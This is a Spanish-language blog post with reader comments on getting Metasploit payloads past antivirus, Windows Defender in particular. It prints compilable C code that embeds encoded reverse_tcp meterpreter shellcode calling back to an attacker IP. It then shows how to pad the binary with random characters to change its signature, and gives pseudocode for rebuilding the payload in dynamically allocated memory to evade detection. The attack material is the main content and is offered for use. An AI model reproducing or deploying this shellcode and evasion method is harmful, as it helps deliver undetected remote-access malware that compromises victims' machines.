Bypass de Antivirus con payloads de Metasploit

La mayoría de Antivirus, aunque se tenga activa la protección en tiempo real, monitorizan el contenido del disco duro y no lo que hay en memoria RAM.

Por esta razón, la mayoría de técnicas utilizadas para evitar los antivirus en los exploits simplemente tratan de inyectar los “payload” directamente en la memoria evitando así que el antivirus se de cuenta.

Pero hay ocasiones, en que el propio diseño del exploit utilizado requiere que se suba un archivo al disco de la maquina víctima con el payload, el cual luego se ejecuta. En este caso, los antivirus que monitorizan el disco en tiempo real suelen cazar el “payload” y mostrar una alerta de “Malware Detectado”.

La técnica utilizada por los fabricantes de antivirus para detectar el malware, se basa principalmente en firmas. Los fabricantes tienen una gran base de datos con firmas de software detectado como “peligroso”, y las comparan con las firmas que extraen de analizar cada fichero que se coloca en el sistema de archivos. Si alguna firma coincide, se muestra la alerta y dependiendo de la configuración del antivirus, se manda el archivo a cuarentena o directamente se elimina.

Así pues, la forma de evitar que los antivirus detecten nuestros “payloads” es intentar ofuscarlos de alguna forma para que su firma cambie y no coincida con la que los fabricantes de antivirus tienen en sus bases de datos.

Para conseguir esto existen distintas técnicas y algunos software que pueden ayudarnos.

Veil por ejemplo es un Generador de Payloads para evitar antivirus desarrollado por Christopher Truncer del que se puede encontrar más información en su blog. Si se quiere información sobre Veil en español, Jose Selvi hizo un post bastante interesante en pentester.es  en el mes de Junio.

Yo, en este post voy a hablar de una técnica manual, utilizando programación en C, que por otro lado no es nada nuevo y se puede encontrar en el Curso de Metasploit que tengo colgado aquí, además de en otros blogs de Internet.

Primero voy a mostrar la plantilla sobre la que Metasploit genera los binarios para windows. Puede encontrarse en /usr/share/metasploit-framework/data/templates/src/pe/exe/template.c en una distribución Kali Linux.

[code]
#include <stdio.h>

#define SCSIZE 4096

char payload[SCSIZE] = "PAYLOAD:";
char comment[512] = "";

int main(int argc, char **argv) {
(*(void (*)()) payload)();
return(0);
}
[/code]

Metasploit simplemente busca “PAYLOAD:” y lo sustituye por el payload que se ha elegido.

Así pues si generamos un payload con “msfpayload” y “msfencode” por ejemplo o con “msfvenom”, lo metemos en la variable “payload” de la plantilla y compilamos para windows, el resultado será un binario que ejecutará nuestro payload.

Un ejemplo con un payload de meterpreter generado con “msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.64 LPORT=4444 –encoder x86/shikata_ga_nai -c5 -b’\x00′ –format c-“:

[code]
#include <stdio.h>

#define SCSIZE 4096

char payload[SCSIZE] =
"\xdb\xc4\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x49\xb8\x1f\x38\x4b"
"\xc6\x83\xea\xfc\x31\x42\x15\x03\x42\x15\xfd\xcd\xb7\x2e\x88"
"\x2e\x48\xaf\xea\xa7\xad\x9e\x38\xd3\xa6\xb3\x8c\x97\xeb\x3f"
"\x67\xf5\x1f\xcb\x05\xd2\x10\x7c\xa3\x04\x1e\x7d\x02\x89\xcc"
"\xbd\x05\x75\x0f\x92\xe5\x44\xc0\xe7\xe4\x81\x3d\x07\xb4\x5a"
"\x49\xba\x28\xee\x0f\x07\x49\x20\x04\x37\x31\x45\xdb\xcc\x8b"
"\x44\x0c\x7c\x80\x0f\xb4\xf6\xce\xaf\xc5\xdb\x0d\x93\x8c\x50"
"\xe5\x67\x0f\xb1\x34\x87\x21\xfd\x9a\xb6\x8d\xf0\xe3\xff\x2a"
"\xeb\x96\x0b\x49\x96\xa0\xcf\x33\x4c\x25\xd2\x94\x07\x9d\x36"
"\x24\xcb\x7b\xbc\x2a\xa0\x08\x9a\x2e\x37\xdd\x90\x4b\xbc\xe0"
"\x76\xda\x86\xc6\x52\x86\x5d\x67\xc2\x62\x33\x98\x14\xca\xec"
"\x3c\x5e\xf9\xf9\x46\x3d\x96\xce\x74\xbe\x66\x59\x0f\xcd\x54"
"\xc6\xbb\x59\xd5\x8f\x65\x9d\x1a\xba\xd1\x31\xe5\x45\x21\x1b"
"\x22\x11\x71\x33\x83\x1a\x1a\xc3\x2c\xcf\x8c\x93\x82\xa0\x6c"
"\x44\x63\x11\x04\x8e\x6c\x4e\x34\xb1\xa6\xe7\xde\x4b\x21\xc8"
"\xb6\x30\xf1\xa0\xc4\xb8\xe0\x6c\x41\x5e\x68\x9d\x07\xc8\x05"
"\x04\x02\x82\xb4\xc9\x99\xee\xf7\x42\x2d\x0e\xb9\xa2\x58\x1c"
"\x2e\x43\x17\x7e\xf9\x5c\x82\x15\x06\xc9\x28\xbc\x51\x65\x32"
"\x99\x96\x2a\xcd\xcc\xac\xe3\x5b\xaf\xda\x0b\x8b\x2f\x1b\x5a"
"\xc1\x2f\x73\x3a\xb1\x63\x66\x45\x6c\x10\x3b\xd0\x8e\x41\xef"
"\x73\xe6\x6f\xd6\xb4\xa9\x90\x3d\x45\x96\x46\x78\xc3\xee\xec"
"\x68\x0f";

char comment[512] = "";

int main(int argc, char **argv) {
(*(void (*)()) payload)();
return(0);
}
[/code]

Esto se compila para windows:

1-compilar payload

Y al ejecutarlo en la maquina víctima:

2-exec_payload

Pasa esto en la máquina atacante:

3-sesion met

Este binario es a día de hoy detectado por la mayoría de los antivirus del mercado como peligroso.

Bien pues, una de las técnicas que nos permite ofuscar un poco el binario que se crea y hacer bypass de algunos antivirus aún hoy en día simplemente es rellenar con caracteres aleatorios la variable “comment” que se encuentra en el código fuente. Por ejemplo podríamos rellenar el buffer con 2048 caracteres que sacaríamos de la siguiente forma (hay que modificar el tamaño del buffer a 2048):

cat /dev/urandom | tr -dc _A-Z-a-z-0-9 | head –c2048

Y nuestro código quedaría:

[code]
#include <stdio.h>

#define SCSIZE 4096

char payload[SCSIZE] =
"\xdb\xc4\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x49\xb8\x1f\x38\x4b"
"\xc6\x83\xea\xfc\x31\x42\x15\x03\x42\x15\xfd\xcd\xb7\x2e\x88"
"\x2e\x48\xaf\xea\xa7\xad\x9e\x38\xd3\xa6\xb3\x8c\x97\xeb\x3f"
"\x67\xf5\x1f\xcb\x05\xd2\x10\x7c\xa3\x04\x1e\x7d\x02\x89\xcc"
"\xbd\x05\x75\x0f\x92\xe5\x44\xc0\xe7\xe4\x81\x3d\x07\xb4\x5a"
"\x49\xba\x28\xee\x0f\x07\x49\x20\x04\x37\x31\x45\xdb\xcc\x8b"
"\x44\x0c\x7c\x80\x0f\xb4\xf6\xce\xaf\xc5\xdb\x0d\x93\x8c\x50"
"\xe5\x67\x0f\xb1\x34\x87\x21\xfd\x9a\xb6\x8d\xf0\xe3\xff\x2a"
"\xeb\x96\x0b\x49\x96\xa0\xcf\x33\x4c\x25\xd2\x94\x07\x9d\x36"
"\x24\xcb\x7b\xbc\x2a\xa0\x08\x9a\x2e\x37\xdd\x90\x4b\xbc\xe0"
"\x76\xda\x86\xc6\x52\x86\x5d\x67\xc2\x62\x33\x98\x14\xca\xec"
"\x3c\x5e\xf9\xf9\x46\x3d\x96\xce\x74\xbe\x66\x59\x0f\xcd\x54"
"\xc6\xbb\x59\xd5\x8f\x65\x9d\x1a\xba\xd1\x31\xe5\x45\x21\x1b"
"\x22\x11\x71\x33\x83\x1a\x1a\xc3\x2c\xcf\x8c\x93\x82\xa0\x6c"
"\x44\x63\x11\x04\x8e\x6c\x4e\x34\xb1\xa6\xe7\xde\x4b\x21\xc8"
"\xb6\x30\xf1\xa0\xc4\xb8\xe0\x6c\x41\x5e\x68\x9d\x07\xc8\x05"
"\x04\x02\x82\xb4\xc9\x99\xee\xf7\x42\x2d\x0e\xb9\xa2\x58\x1c"
"\x2e\x43\x17\x7e\xf9\x5c\x82\x15\x06\xc9\x28\xbc\x51\x65\x32"
"\x99\x96\x2a\xcd\xcc\xac\xe3\x5b\xaf\xda\x0b\x8b\x2f\x1b\x5a"
"\xc1\x2f\x73\x3a\xb1\x63\x66\x45\x6c\x10\x3b\xd0\x8e\x41\xef"
"\x73\xe6\x6f\xd6\xb4\xa9\x90\x3d\x45\x96\x46\x78\xc3\xee\xec"
"\x68\x0f";

char comment[2048] =
"oo9UXr_jw-t0OCEo_wgs6gsEfQPKsts3_QsSP49kQPns67UNpFNapWgveXYo7"
"84Nf7QMn4ZPeOlrw-mBcPvpNgEWCCG47hGJB0yZeAlnLmZJ8XJdQJ04BWGw_iM"
"APiaU-_7bmpYeTD8MySmv2w7RcXGq60h9cRUlr_TVQvpW2frznoDrO50_cqZomh"
"FJ0juZ27r8tdR-CR8MjfKeXdwugFRLIQI1tHb_Xj83QNGTvNgp9WFPQSC1BOTwm9"
"XFUg-IRM7p9Tp4We1gyGpAGstrY38Iai-2kCLVHw7248WP_9XoJguxhljvMUN0c"
"ywPBAI-dynKKztZ0aCLdreBM8AdB2xaYaHFVt0Pt-tSbDxVy1Ibkzn9nD1aqhW0e"
"euSiO7tXc7S0u9LgdRkfm9abmBD6XZv24G7j7V7ufF2srsgWCTPKsVE_HFGQZy2n6"
"1Ul6U8wn_P-sHwPbO01Dlvvq3b3dVhKJodxbbFeyxi7CcrFo3imYhso0vE8NCJmH5Z"
"jC5CeNn8-dO4MldTTUWPYbWn_xkLZgX1GvWVr5AJwHp2uR4mTVFDlN-FYTi-kpHP"
"cGfU0Q4u-YJruNSr7KueoNEQQbe0onFW_QihFxV6l4vvbY5p1Njecg0fuWJFu8Z-aq"
"bmfRpE96KgIv4evy7JMLD32SqZsQ2FWx0ryJoFru0cJQOCSTMvERG92ol_q8SFaiEB"
"cGQyIcDcb9y_Tu8XRlHqJ7KqEtPgHYrYgkJDC02IADz1jf8J6BWHhITGDn9BeKcHX99"
"EyoPZrr3ZwUs44n4m2LcK9VzgbLgeBqKjmEQxX1O4q82LdsFAZHvMhpfEE0pc0hw2Vk"
"Tm5HVbFY53O4WeI_U14mj6ovzeKq74u11Rm9W8pptyx5egSu2e2FenKRMmT11ksEO9Uf"
"gUSsmi79QF98jCwEZ_ZAH5NTMeHHbagLAFHbkGkxGOVuvbMJPP1GSH_XMS5bktyGX8RM"
"69BJE1KxLy-LLMfsEqYDpUp3NqRf5Ab383rkdg1tnYugqr9WrrqKxe7lrwMYxrCyV0"
"CxtTRaqUy0VXmwDUD9dUipz4ErHvFuUOpO3sPNlrD33WUK6mcxo9tv1oOSSyoljAvZmb"
"JEf840gP_iTmBqz-IRxX6j3-gcOzlw14RDzGD3VtU6AMYmGm9wGkn5AsI5bzUBTi4"
"5_uGVnHVrAZt6eLF9ym_mwOAW2nxC463liPsYvlKd1oVMDhVEYHYJoGKZEmtjrKAdnTs"
"glMTiWMNdprWHBSMdIG-TT9mKEmW6OeNs5ufD6-3yPkNAeD4W1SNfXKmEjXf33_24qWaF"
"LSSOwi-uTOvXP76Vj86xOJ9CxZ5z8TcDTFiq6zlFCuyGuHJQ0EednBtdfhzzk_J54Bg"
"YoEyL_30P6on8OUYPuKypuCAh81aZy1q84wj_q7MVbzcQDlQEsO5NqFtEQjERqQ92zLj"
"bekLTqxpM9l69kDZ8cg6ezSkLqWOuG-i6-x1nDBqLkZ7GRuJrKpF3qJRAq9QZEHcQnDfW"
"A2inGIPgvlZC0kvqebPgr4yvXaMBXms7kBXHU8KbWfoZ9vKcTRKNU-FR53PIrvZMW09ky3"
"gbq10DNVho9A3j5qtrjXy66k2YiRnIlL9CGxu4S5S7FtNVmNo1oUcarSHYwQ87GTBn6PxJ5"
"HMnzRZ7oGhi1AQYKDavJQXRXVei1JCHGsaJ49lLmY-MWJkI3elWJ-8JFNq1YfGnVrDa-Dx9"
"ntZTs41riF-XDADxYpbhsin1FucqsW5eyUcKs-gMFH9IyL7hkpqYIJiHnok_zOA1goHZ3SZ"
"UxRIEF0NoWgrxdowlcVP6Qq7SJSUUEMCKjMfTZgyiQtS-es_OMGosOV6J4mUJmyqZSMz1wE"
"F_PMeeSa2CdN2RaEDJ6BHHsMZRcSB0FGGgXu6xjMV39-rHQED-Tur8v9NBYylJJoOVYWZq5"
"8IAd-hife0lrsqCAA2q9J7lz7hPzIxUMpFEGEw4BMfN_kHVqhxRoVWfxpv9uFcqDnAMwwq6y"
"sBCLejJFpsPTxX6Oq6q2m8RI0S7OmASYKRZ_Q";

int main(int argc, char **argv) {
(*(void (*)()) payload)();
return(0);
}
[/code]

Simplemente compilando este código para windows ya tendríamos un payload que evitaría los antivirus… Al menos hace unos meses.

Windows Defender

Hace unos días haciendo pruebas para preparar mi post sobre bypassuac, fui a dar con el Windows Defender que trae el Windows 8 por defecto. Resulta que este detectaba mis payloads como malware.

Siguiendo la misma filosofía realice una serie de pruebas con distintos códigos en C para tratar de evitar el Windows Defender, y aunque al final lo logré, me costo lo mío (en parte por mi torpeza, lo admito).

Voy a exponer las pruebas que realice, y los resultados que obtuve con ellas:

  • Meter más caracteres en la variable de comentario o “padding”. –> FAIL.
  • Dividir el payload en varias variables, intercalar de por medio variables con “padding” y luego reconstruir el payload en un buffer y ejecutarlo. –> FAIL.
  • Meter un patrón de datos por dentro del payload y después mediante una función eliminar dicho patrón en tiempo de ejecución para reconstruir el payload en un buffer y ejecutarlo. –> FAIL.
  • Meter tanto un patrón de datos entre el payload, como variables de padding y después reconstruir el payload en tiempo de ejecución e intentar ejecutarlo. –> FAIL.

Como se puede observar, todas las pruebas que hacía el Windows Defender me las tumbaba sin piedad detectando mi payload como malware. Sin embargo, si probaba con un payload generado con Veil por ejemplo, Windows Defender se lo tragaba.

Como cuando uno se ofusca lo mejor es buscar ayuda, consulte el tema con un par de colegas.

Oscar Tebar a.k.a. Kifo (@infiltrandome) me aconsejo buscar la cadena hexadecimal del binario que el antivirus detectaba como firma utilizando una técnica algo así como el divide y vencerás (se ponen a 00 la mitad de los bytes con un editor hex y se pasa por el antivirus a ver si lo detecta, si es así, señal que la firma está en la mitad de bytes que no se han puesto a 00, sino está en la otra mitad. Esto lo repetimos sucesivamente hasta dar con los bytes exactos). Aunque era una posibilidad real, quería dejarla para el final ya que lo que yo buscaba era un sistema fácil, mediante programación de alto nivel de generar los payloads.

Más tarde Arán Lora (@4r4nL) me paso uno de sus payloads, que generaba utilizando una técnica muy similar a las que yo había probado y cual fue mi sorpresa al ver que su payload no era detectado por Windows Defender. Observando el código con el que el generaba el payload, encontré una diferencia respecto al código que yo había escrito que fue la clave para batir a Windows Defender. El uso de memoria dinámica en la función que realizaba la sustitución de caracteres del buffer con el payload para reconstruir el payload correcto.

Así pues, cambiando un poco mi código para reconstruir el payload en un buffer de memoria asignado dinámicamente en tiempo de ejecución mediante un “malloc” y ejecutándolo desde ahí, Windows Defender no detectaba mis payloads, simplemente con añadir unos pocos bytes de más en el buffer con el payload generado con Metasploit.

El pseudo código para generar mis payloads quedaría de la siguiente forma:

[code]
Payload[] =
“Aquí se pone el payload generado por Metasploit con algún patrón"
" único de bytes intercalado de por medio para que el antivirus no"
" lo detecte”

función strip_str_pattern(payload, patrón)
nuevo (puntero a cadena)
viejo (puntero a cadena)
token (puntero a cadena)

viejo = duplicado de payload
nuevo = viejo
mientras encontremos patrón en nuevo
viejo = nuevo
nuevo = malloc (tam(viejo)-tam(patrón))
nuevo = copiarmemoria de viejo a nuevo hasta patrón
nuevo = copiarmemoria de viejo a nuevo después de patrón hasta final
free(viejo)
fin mientras
devolver nuevo
Fin función.

Main
p (puntero a cedena)
p = strip_str_pattern(payload,”patrón único de bytes usado para ofuscar”)
ejecutar p
Fin main
[/code]

Con este sistema es como he logrado que mis payloads no sean detectados por un Windows Defender en un Windows 8 actualizado a hoy mismo, 23 de Julio de 2013.

¿Por qué ocurre esto?

La conclusión a la que he llegado después de estas pruebas (quizá no sea correcta, así que si alguien tiene algo que decir que se ponga en contacto conmigo y lo corrijo), es que los antivirus (al menos Windows Defender) no solo analizan el fichero en disco, sino que también monitorizan el espacio reservado en memoria por los procesos.

La diferencia entre la memoria asignada estáticamente a la asignada dinámicamente es que antes de la ejecución del proceso o programa, ya se sabe cuanto espacio de memoria se necesita y donde está situada esa memoria.

Así pues, es fácil para el antivirus saber donde se van a cargar las variables globales de un proceso solo con examinarlo y luego monitorizar dicho espacio para comparar su contenido con las firmas.

Sin embargo, cuando reservamos la memoria dinámicamente mediante “mallocs”, el espacio de memoria se asigna durante la ejecución del proceso y el antivirus no sabe de antemano donde se van a guardar las variables, por lo tanto debería monitorizar toda la memoria lo cual penalizaría mucho su rendimiento.

Bueno, espero que esta entrada os haya parecido interesante, ya que es el regalo por mi clumpleaños.

Un saludo y gracias por llegar hasta aquí.

7 comentarios en «Bypass de Antivirus con payloads de Metasploit»

  1. Genial entrada! Muy currada, muy bien explicado. Lo único que al final, he terminado echando en falta es el código que has terminado utilizando. Sé que lo has puesto en pseudocódigo, pero pedir es gratis :). Me gusta la ingeniosa solución final.

  2. Buenas,
    Me gustaría tener y conocer en mas detalle sobre este programa para la PoC que estoy llevando acabo. Cuando tenga resultados de PoC te paso todo por privado.

    Me podrías pasar a mi también este código?

    • A día de hoy esta técnica ya no funciona, al menos para el Antivirus de Microsoft en Windows 8 tal como explica el POST. Para otros AV si funciona.

      Un saludo.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

*